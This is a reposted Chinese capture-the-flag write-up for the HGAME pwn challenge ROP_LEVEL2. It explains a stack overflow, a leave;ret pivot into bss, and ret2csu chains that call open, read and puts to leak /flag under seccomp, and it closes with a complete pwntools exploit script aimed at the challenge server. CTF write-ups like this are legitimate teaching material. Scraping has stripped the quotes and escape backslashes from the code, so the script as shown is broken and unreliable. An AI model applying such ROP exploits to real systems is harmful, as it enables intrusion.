HGAME pwn ROP_LEVEL2

Posted bhxdn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HGAME pwn ROP_LEVEL2相关的知识,希望对你有一定的参考价值。

  花了好多天,终于把这个题彻底弄懂了。。。自己太菜了

    下载文件,首先checksec检查一下保护。

技术图片

 

  只开启了堆栈不可执行,接下来拖到IDA看一下C的伪代码。

  技术图片  大致先让你输入,然后再次让你输入。

  第一次输入的话,会将输入的数据保存到bss段,第二次是向栈中输入数据,并且可以溢出。经过计算,正好可以溢出到覆盖rbp和返回地址。也就是我们构造的ROP链不能太长,这里就需要我们进行一步栈转移,将栈转移到bss段。

  如果栈转移呢?就是再覆盖rbp的时候我们需要将rbp覆盖成我们的假的rbp,然后执行leavel ret这样就我们就可以将栈转移过去,并且可以执行转移过去的命令。当然这里是要转移到bss段,因为bss段的数据我们是可控制的,可以执行我们的命令。

  还有就是这个题目,开启了seccomp,这是一种保护,开了这种保护除了白名单上面的函数,我们只能调用open、write、read函数,不能直接拿到shell,不过我们的目的就是拿到flag,已知flag在同目录下的/flag,这样我们就只能用这几个函数来获得flag了。

  在这里我们采用csu的方法给寄存器赋值来调用这几个函数。所以先payload这样构造。

 

1 payload = /flagx00x00x00 # r12->call r13->rdx r14->rsi r15->rdi
2 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ a*0x8 + p64(0) + p64(1) + a*0x20
3 
4 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+a*0x38
5 
6 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)

 

  第一行的payload,目的是为了输入open的参数,并且可以正好给rsp留位置占位。

  第二行,调用csu,给open加参数,相当于执行了open(“/flag”,0,0)

  第三行,在第二行的末尾覆盖的时候,我们已经又给rbp和rbx赋值了,这样我们第二次调用csu的时候就不用再次赋值了,这样可以减少rop链的长度。第三行相当于执行了read(4,flag_addr,0x20),至于那个4是怎么来的,大佬说这个叫流,是堆里的内容,暂时不要我懂。。。反正就是把open的读取到的数据写到flag_addr了。

  最后一行就很清楚了,利用puts函数输出flag。

完整的exp:

 1 from pwn import *
 2 import time
 3 
 4 #p = process(‘./ROP_LEVEL2‘)
 5 p = remote(47.103.214.163,20300)
 6 elf = ELF(ROP_LEVEL2)
 7 context.log_level = debug
 8 
 9 csu_end = 0x0400A3A
10 csu_front = 0x0400A20
11 puts_plt = elf.plt[puts]
12 
13 flag_addr = elf.bss() + 0x200
14 buf_addr = 0x06010A0
15 open_got = elf.got[open]
16 read_got = elf.got[read]
17 pop_rdi = 0x0400a43
18 
19 payload = /flagx00x00x00 # r12->call r13->rdx r14->rsi r15->rdi
20 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ a*0x8 + p64(0) + p64(1) + a*0x20
21 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+a*0x38
22 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)
23 
24 p.recvuntil(so?
)
25 p.send(payload)
26 
27 sleep(1)
28 leave_addr = 0x040090d
29 payload1 = U*0x50 + p64(buf_addr) + p64(leave_addr)
30 p.recvuntil(flag

)
31 p.sendline(payload1)
32 p.recv()
33 p.close()

 

运行一下,拿到flag!

技术图片

 

以上是关于HGAME pwn ROP_LEVEL2的主要内容,如果未能解决你的问题,请参考以下文章

hgame pwn部分wp

WPhgame2023 week4 Pwn

wphgame2023 week3 Re&&Pwn

HGAME2023_WP_WEEK2

HGAME 2020 misc

[杭电新生赛]HGAME-week1-web-wp